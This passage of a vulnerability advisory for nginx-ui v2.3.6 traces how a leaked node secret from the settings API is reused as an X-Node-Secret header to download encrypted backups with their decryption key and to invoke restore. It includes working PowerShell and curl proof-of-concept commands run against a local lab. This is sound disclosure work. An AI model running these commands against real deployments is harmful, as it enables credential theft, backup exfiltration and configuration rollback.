The Node settings object defines the following field:

type Node struct {
    Name   string `json:"name" binding:"omitempty,safety_text"`
    Secret string `json:"secret" protected:"true"`
    ...
}

The protected:"true" tag shows that the codebase itself treats node.secret
as a protected/sensitive value. Despite that, the field is still returned
unredacted by GetSettings. This strongly indicates a real secret disclosure
issue rather than a harmless configuration read.

4) The disclosed secret is reused as an authentication credential

File: internal/middleware/middleware.go

Relevant functions: getNodeSecret, AuthRequired, AuthRequiredWS

The authentication middleware contains a separate node-secret authentication
path:

    getNodeSecret(c) reads the value from the X-Node-Secret header or the
node_secret query parameter.
    AuthRequired() checks whether the supplied value equals settings.NodeSettings.Secret.
    If it matches, the middleware:
    loads initUser := user.GetInitUser(c)
    stores Secret in the context
    stores user in the context
    allows the request to proceed without relying on the ordinary JWT
path for that identity flow

This is the sink of the vulnerability: the same secret disclosed by GET
/api/settings is accepted as a valid authentication credential by the
middleware.

if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret {
    initUser := user.GetInitUser(c)
    c.Set("Secret", nodeSecret)
    c.Set("user", initUser)
    c.Next()
    return
}

AuthRequiredWS() contains similar logic for the WebSocket path, meaning
the same secret is also trusted by the WebSocket authentication flow.

5) The write path already treats these fields as protected, but the read
path does not

File: api/settings/settings.go

Relevant function: SaveSettings

SaveSettings() already uses ProtectedFill(...) for several settings objects,
including:

AppSettings
NodeSettings
OpenAISettings
NginxSettings
OIDCSettings

This shows the project already recognizes that these objects contain protected
fields on the write path. However, GetSettings() still returns the raw objects
on the read path, creating a clear “write-protected but read-exposed”
inconsistency. That inconsistency is the core authorization/secret-handling
flaw here.

cSettings.ProtectedFill(cSettings.AppSettings, &json.App)
cSettings.ProtectedFill(settings.NodeSettings, &json.Node)
cSettings.ProtectedFill(settings.OpenAISettings, &json.Openai)
cSettings.ProtectedFill(settings.NginxSettings, &json.Nginx)
cSettings.ProtectedFill(settings.OIDCSettings, &json.Oidc)

6) Backup endpoint reachable after alternate authentication

File: api/backup/router.go, api/backup/backup.go

Relevant functions: InitRouter, CreateBackup

The backup route is exposed as:

r.GET("backup", CreateBackup)

This route is protected by the same AuthRequired() middleware chain as
other authenticated API routes.

In CreateBackup(), the server returns the backup archive to the caller and
also sets the X-Backup-Security response header containing the decryption
material:

c.Header("X-Backup-Security", fmt.Sprintf("%s:%s", backup.Security.AESKey, backup.Security.AESIv))
c.File(backupFilePath)

As a result, once node.secret is disclosed from /api/settings and reused
through X-Node-Secret, the attacker can access /api/backup and obtain both
the encrypted backup and the decryption token in the same response.

This means the disclosed secret is not only usable for low-risk authenticated
reads, but also for high-impact data exfiltration through the backup subsystem.

7) Restore endpoint is reachable and usable after alternate authentication

File: api/backup/router.go, api/backup/restore.go, internal/backup/restore.go

Relevant functions: authIfInstalled, RestoreBackup, internal restore helpers

The restore route is exposed as:

r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)

On installed instances, authIfInstalled calls AuthRequired().
Because AuthRequired() accepts X-Node-Secret and associates the request with
the init user, the same disclosed node.secret can be used to reach the
restore workflow, not just read-only or backup routes.

RestoreBackup() accepts:

    backup_file
    security_token
    restore_nginx
    restore_nginx_ui
    verify_hash

It parses the security_token as AESKey:AESIv, decodes both values from base64,
saves the uploaded backup archive to a temporary location, and then calls the
internal restore logic.

In my local reproduction on v2.3.6, a request to POST /api/restore using only:

    X-Node-Secret
    a valid backup archive
    the matching X-Backup-Security token

returned:

{"nginx_ui_restored":false,"nginx_restored":false,"hash_match":true}

for a no-op restore test, confirming that the restore path was reachable and
processed successfully via the trusted-node authentication path.

I then performed an observable rollback test. After changing node.name to
rollback-poc-B, I restored a previously captured backup using only
X-Node-Secret plus the matching backup/security token pair. The serverreturned:


{"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}

and GET /api/settings/server/name changed from:

rollback-poc-B

back to its original empty value after the restore completed.

This confirms that the disclosed node.secret is sufficient not only for
backup exfiltration, but also for successful restore invocation and
rollback of nginx-ui state/configuration.

Why these files together form the vulnerability

These files combine into a single exploitable chain:

    api/settings/router.go exposes the settings read endpoint to
authenticated callers.
    api/settings/settings.go:GetSettings returns raw settings objects,
disclosing node.secret and other sensitive values.
    settings/node.go confirms that node.secret is explicitly treated as
a protected field.
    internal/middleware/middleware.go:AuthRequired accepts that same
secret as a valid alternate authentication factor and associates the
request with the init user.

For that reason, this is not just a “settings disclosure” issue. It is
more accurately described as:

secret disclosure in a user-facing API combined with reuse of the
disclosed secret as an authentication factor in middleware.

Vulnerable source-to-sink path

The vulnerable chain spans the settings API, node authentication
middleware, backup subsystem, and restore subsystem.

Source

An authenticated caller can reach:

    GET /api/settings

The handler returns raw settings objects directly in the JSON
response, including:

    settings.NodeSettings
    cSettings.AppSettings
    settings.OpenAISettings
    other configuration objects

In my local reproduction on v2.3.6, the response exposed:

    node.secret
    app.jwt_secret

Propagation

The attacker extracts node.secret from the /api/settings response
and reuses it as:

    X-Node-Secret header`, or
    node_secret query parameter`

Authentication sink

AuthRequired() in internal/middleware/middleware.go checks whether
the supplied node secret matches settings.NodeSettings.Secret. If it
matches, the middleware loads initUser := user.GetInitUser(c), stores
the user in the request context, and allows the request to proceed
without using the ordinary JWT path for that identity flow.

Post-authentication sinks

After satisfying AuthRequired() through X-Node-Secret, the attacker
can reach additional protected routes, including:

    GET /api/settings/server/name
    GET /api/settings
    GET /api/backup
    POST /api/restore (on installed instances via authIfInstalled → AuthRequired())`

In particular:

    GET /api/backup returns the backup archive and sets the
X-Backup-Security response header containing the decryption material
(AESKey:AESIv)`
    POST /api/restore accepts a backup archive plus the matching
security_token and executes the restore workflow

This creates the following end-to-end source-to-sink chain:

    Authenticated caller reaches GET /api/settings
    Response discloses node.secret (and in my lab also app.jwt_secret)
    Attacker reuses node.secret as X-Node-Secret
    AuthRequired() accepts the request on the trusted-node path and
associates it with the init user
    Attacker accesses GET /api/backup
    Server returns the encrypted backup archive and X-Backup-Security
decryption material in the same response
    Attacker submits the captured backup and matching token to
POST /api/restore using only X-Node-Secret
    Server processes the restore request successfully
    nginx-ui state/configuration can be rolled back to the contents
of the captured backup

This is not just a read-only disclosure chain. It is a
disclosure-to-authentication-to-backup-to-restore chain with
confirmed integrity impact.

Why this is a vulnerability, not intended behavior

This is not expected behavior for three reasons:

    Node.Secret is explicitly marked protected:"true", indicating
it is sensitive.
    SaveSettings() uses ProtectedFill(...) on NodeSettings, OpenAISettings,
and other settings objects, showing the write path already treats these
fields as protected/special.
    Despite that, GetSettings() still returns the raw secret-bearing objects
to the caller, and the disclosed node.secret is immediately reusable as an
authentication credential in middleware. That breaks the intended separation
between user-facing configuration APIs and internal trusted-node
authentication.

Trust boundary that is broken

The broken boundary is:

ordinary authenticated user/API session → trusted node / init-user authentication path

A caller who is only supposed to use the normal JWT/cookie-based user
path can retrieve a secret that belongs to the trusted-node path, then
cross that boundary by presenting X-Node-Secret to AuthRequired().

Attacker model / required privileges

The confirmed attacker requirement is:

    ability to authenticate to the web UI and call GET /api/settings

In my local reproduction on v2.3.6, I reproduced this with a normal
browser-authenticated session after resetting the initial account
password in a fresh Docker deployment. The issue does not require
shell access or direct database access. The route itself is protected,
but the read-path has no additional redaction for secret-bearing
settings, and the disclosed node secret can then be reused as
alternate authentication.

Additional confirmed impact: backup exfiltration through the
trusted-node authentication path

The impact is not limited to reading settings or downloading backups.

In api/backup/router.go, the restore endpoint is exposed as:

r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)

On installed instances, authIfInstalled calls AuthRequired(). Because
AuthRequired() accepts X-Node-Secret and maps the request to the init
user when the supplied secret matches settings.NodeSettings.Secret,
the disclosed node.secret can also be reused to reach the restore
workflow.

In api/backup/restore.go, RestoreBackup() accepts:

    backup_file
    security_token
    restore_nginx
    restore_nginx_ui
    verify_hash

It parses security_token as AESKey:AESIv, decodes both values from
base64, saves the uploaded backup archive, and invokes the internal
restore logic.

In my local reproduction on v2.3.6, I first confirmed route reachability
by submitting a valid backup archive and matching security_token using
only X-Node-Secret, which returned:

{"nginx_ui_restored":false,"nginx_restored":false,"hash_match":true}

I then performed an observable rollback test:

    Captured a valid backup in state A
    Changed node.name to rollback-poc-B
    Verified GET /api/settings/server/name returned rollback-poc-B
    Submitted the previously captured backup to POST /api/restore
using only X-Node-Secret and the matching security_token
    Received:

{"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}

Verified GET /api/settings/server/name returned the original empty
value after restore

This confirms that the disclosed node.secret is sufficient not only
for backup exfiltration, but also for successful restore invocation
and rollback of nginx-ui state/configuration through the trusted-node
authentication path.

PoC

Reproduction environment

    Product: 0xJacky/nginx-ui
    Confirmed version: v2.3.6
    Deployment method: local Docker lab on http://127.0.0.1:8080 using uozi/nginx-ui:latest at the time of testing.

Exact reproduction steps

1.Start a fresh local Docker deployment of uozi/nginx-ui:latest.

Optional convenience settings I used in the lab:

NGINX_UI_NODE_SKIP_INSTALLATION=true
NGINX_UI_NODE_SECRET=<known test value>
NGINX_UI_APP_JWT_SECRET=<known test value>
NGINX_UI_IGNORE_DOCKER_SOCKET=true

These are documented environment settings supported by Nginx UI.

2.Reset the initial account password using the official command:

docker exec nginx-ui-lab nginx-ui reset-password --config=/etc/nginx-ui/app.ini

The application prints the username/password for the initial account.
[Screenshot 1: password reset output showing the initial username/password]
image

3.Log in through the browser and capture the JWT token from the login
response or the token cookie.
[Screenshot 2: browser/devtools showing authenticated session and token]
image

4.Send:

GET /api/settings
Header: Authorization: <raw JWT>

In my reproduction, the response contained:

    node.secret
    app.jwt_secret
    other settings objects such as openai, oidc, casdoor, nginx, etc.

Example PowerShell:

$Base = "http://127.0.0.1:8080"
$Jwt  = "<captured token>"
$authHeaders = @{ Authorization = $Jwt }
$settings = Invoke-RestMethod -Method Get -Uri "$Base/api/settings" -Headers $authHeaders
$nodeSecret = $settings.node.secret
$settings | ConvertTo-Json -Depth 20

[Screenshot 3: /api/settings response showing node.secret and app.jwt_secret]
image
image

5.Verify that the protected route fails without authentication:

Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name"

Expected result: 403 Forbidden.

[Screenshot 4: unauthenticated 403]
image

6.Re-send the same request with only X-Node-Secret:

$nodeHeaders = @{ "X-Node-Secret" = $nodeSecret }
Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $nodeHeaders

Expected result: 200 OK with a JSON body such as:

{ "name": "" }

[Screenshot 5: successful response using only X-Node-Secret]
image

7.Re-send GET /api/settings using only X-Node-Secret:

$settingsViaSecret = Invoke-RestMethod -Method Get -Uri "$Base/api/settings" -Headers $nodeHeaders
$settingsViaSecret | ConvertTo-Json -Depth 20

Expected result: 200 OK, and the response again includes node.secret.

[Screenshot 6: /api/settings succeeding with only X-Node-Secret]
image

8.Use the disclosed node.secret to access the backup endpoint:

$Base = "http://127.0.0.1:8080"
$nodeHeaders = @{ "X-Node-Secret" = $nodeSecret }

$r = Invoke-WebRequest -UseBasicParsing -Method Get -Uri "$Base/api/backup" -Headers $nodeHeaders -OutFile ".\nginxui-backup.zip" -PassThru
$r.StatusCode
$r.Headers["X-Backup-Security"]
$r.Headers | Format-List

Expected result:

    HTTP status 200 OK
    a backup archive is written to disk
    the response contains the X-Backup-Security header with backup
decryption material in the format: AESKey:AESIv

[Screenshot 7: successful /api/backup download using only X-Node-Secret]
image

9.(Optional validation) Verify that the issue is not dependent on
JWT forgery.

I also tested whether the disclosed app.jwt_secret could be used to
forge a valid JWT for standard authenticated routes. I generated a
forged HS256 JWT using the leaked signing secret and attempted to
access protected endpoints with the forged token.

Example PowerShell:

$forgedHeaders = @{ Authorization = $ForgedJwt }

Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $forgedHeaders
Invoke-RestMethod -Method Get -Uri "$Base/api/settings" -Headers $forgedHeaders
Invoke-WebRequest -UseBasicParsing -Method Get -Uri "$Base/api/backup" -Headers $forgedHeaders -OutFile ".\forged-jwt-backup.zip" -PassThru

Observed result:

    forged JWT access to /api/settings/server/name returned 403
    forged JWT access to /api/settings returned 403
    forged JWT access to /api/backup returned 403

This suggests the standard JWT path is additionally constrained by
server-side token lookup and that the confirmed exploitation path is
specifically the disclosed node.secret / X-Node-Secret alternate
authentication route.

[Screenshot : forged JWT requests returning 403]
image

10.Confirm observable rollback of nginx-ui state using a previously
captured backup.

First, I captured a backup in state A:

$rA = Invoke-WebRequest -UseBasicParsing -Method Get -Uri "$Base/api/backup" -Headers $nodeHeaders -OutFile ".\backup-state-A.zip" -PassThru
$SecurityTokenA = ($rA.Headers["X-Backup-Security"] | Select-Object -First 1).ToString().Trim()

I then changed node.name through the normal authenticated settings write path to:

rollback-poc-B

and verified:

Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $nodeHeaders

Observed result:

name
----
rollback-poc-B

I then restored the previously captured state-A backup using only
X-Node-Secret and the matching backup/security token:

curl.exe -i -X POST "$Base/api/restore" `
  -H "X-Node-Secret: $nodeSecret" `
  -F "backup_file=@.\backup-state-A.zip" `
  --form-string "security_token=$SecurityTokenA" `
  --form-string "restore_nginx=false" `
  --form-string "restore_nginx_ui=true" `
  --form-string "verify_hash=true"

Observed result:

{"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}

After waiting a few seconds for the restore to apply, I queried the same setting again:

Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $nodeHeaders

Observed result:

name
----

This confirmed successful rollback of nginx-ui state/configuration from
rollback-poc-B back to the original value using only the disclosed
node.secret, a valid backup archive, and the matching X-Backup-Security
token.

[Screenshot: node.name / server name before restore showing rollback-poc-B]
image

[Screenshot: successful restore response showing nginx_ui_restored:true]
image

[Screenshot: same setting after restore showing rollback to the original value]
image
Confirmed observed results

In my local reproduction on v2.3.6:

    GET /api/settings with a normal authenticated session returned:
        node.secret = NodeSecret-Lab-123456
        app.jwt_secret = JwtSecret-Lab-123456

    GET /api/settings/server/name without authentication returned 403

    GET /api/settings/server/name with only X-Node-Secret: NodeSecret-Lab-123456 returned 200

    GET /api/settings with only X-Node-Secret returned 200

    GET /api/backup with only X-Node-Secret returned 200

    /api/backup returned both:
        a backup archive
        the X-Backup-Security response header containing backup decryption material

    POST /api/restore without authentication failed with:

{"message":"Authorization failed"}

POST /api/restore with only X-Node-Secret, a valid backup archive, and
the matching X-Backup-Security token returned:

{"nginx_ui_restored":false,"nginx_restored":false,"hash_match":true}

after changing node.name to rollback-poc-B, GET /api/settings/server/name
returned:

rollback-poc-B

restoring a previously captured backup using only X-Node-Secret and
the matching X-Backup-Security token returned:

{"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}

after restore, GET /api/settings/server/name returned the original
empty value, confirming rollback of nginx-ui state/configuration
forged JWT requests signed with the leaked app.jwt_secret failed
with 403 on the tested standard protected routes


Impact

The confirmed impact is:

    Sensitive settings disclosure
    An authenticated caller can retrieve sensitive configuration
values through GET /api/settings, including:
        node.secret
        app.jwt_secret
        other secret-bearing settings objects depending on deployment
and enabled integrations

    Alternate-authentication abuse
    The disclosed node.secret can be reused through X-Node-Secret
(or node_secret) to satisfy AuthRequired() and enter the
trusted-node / init-user authentication path.

    Trust-boundary bypass
    An ordinary authenticated user can cross from the normal
JWT/cookie-based user path into the internal node-authentication
path.

    Full backup exfiltration
    After crossing that boundary, the attacker can access GET
/api/backup and download the application's backup archive.

    Backup decryption material disclosure
    The same /api/backup response also includes the X-Backup-Security
header containing the decryption material (AESKey:AESIv), allowing
the attacker to decrypt the exported backup contents.

    Restore workflow invocation through the trusted-node path
    The disclosed node.secret is sufficient to reach POST /api/restore
on an installed instance when combined with a valid backup archive
and matching X-Backup-Security token.

    Confirmed rollback of nginx-ui state/configuration
    In my lab, I changed node.name to rollback-poc-B, then restored
a previously captured backup using only X-Node-Secret and the
matching backup/security token pair. After restore, the value
reverted to its original state. This confirms real integrity impact
through rollback of nginx-ui state/configuration.

    Potential service disruption / operational impact
    Because restore operations can trigger nginx-ui and/or nginx
restart behavior depending on the selected restore options, abuse
of the restore workflow may also create operational disruption in
addition to confidentiality and integrity impact.

    Potential downstream compromise
    Depending on deployment and configured integrations, the exposed
settings and exported backups may contain additional sensitive
information such as:
        JWT signing secrets
        node secrets
        third-party API credentials
        OIDC / Casdoor / OpenAI configuration
        operational configuration data and other stored secrets

Notes on JWT forgery testing

I also tested whether the disclosed app.jwt_secret could be used for
successful forged JWT access on standard authenticated routes. In my
reproduction, forged HS256 JWTs signed with the leaked secret were
rejected with 403 on /api/settings/server/name, /api/settings,
and /api/backup.

This indicates that the confirmed exploitation path is the disclosed
node.secret and the X-Node-Secret trusted-node authentication route,
not direct JWT forgery on standard routes.

This matters because the confirmed impact already includes:

    backup exfiltration
    disclosure of backup decryption material
    successful restore invocation
    rollback of nginx-ui state/configuration

without needing forged JWTs.
Recommended fix

    Do not return secret-bearing settings fields from GET /api/settings.
    Replace the current raw response with a redacted DTO. At minimum,
do not expose:
        node.secret
        app.jwt_secret
        provider / API / client secrets
        any other secret-bearing settings fields

    Require stronger authorization for settings read operations.
    If /api/settings is intended only for trusted administrators or
internal operators, enforce that explicitly instead of relying only
on the generic authenticated middleware.

    Do not use a secret retrievable from a user-facing API as an
authentication credential.
    The node secret should be scoped strictly to node-to-node
communication and must never be readable through ordinary user-facing
settings APIs.

    Reassess use of X-Node-Secret as a full alternate-authentication
mechanism.
    If this mechanism must exist, it should be isolated from user-facing
routes and should not map directly to privileged request context without
additional scoping or separation.

    Protect backup functionality against alternate-authentication abuse.
    /api/backup should not be reachable through a secret that can be
disclosed via /api/settings.

    Protect restore functionality against trusted-node secret abuse.
    On installed instances, /api/restore should not be invocable through
a node secret disclosed from a user-facing API. Restore should require a
stronger admin-only authorization model and should not be reachable through
the same alternate-authentication path used for node trust.

    Do not return backup decryption material in the same response as the
backup file.
    The current X-Backup-Security header exposes decryption material
together with the encrypted archive, which defeats the security goal of
backup encryption when the endpoint is reached by an unauthorized actor.

    Consider requiring explicit re-authentication / secure-session semantics
for restore.
    Restore is a high-impact state-changing action and should be protected
at least as strongly as other sensitive write operations.

    Rotate compromised secrets on upgrade/fix.
    After patching, rotate:
        node secret
        JWT signing secret
        backup encryption material
        any third-party credentials or secrets exposed through /api/settings
or backup exports

    Audit all settings objects returned by GetSettings() for secret leakage.
    The current response includes multiple settings objects (app, node, openai,
oidc, casdoor, etc.), so the remediation should be systematic rather than
field-by-field only.


Severity
Moderate
6.5/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID
CVE-2026-42220

Weaknesses
Weakness CWE-200
Weakness CWE-863

Credits

    @lilmingwa13 lilmingwa13 Reporter



=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================




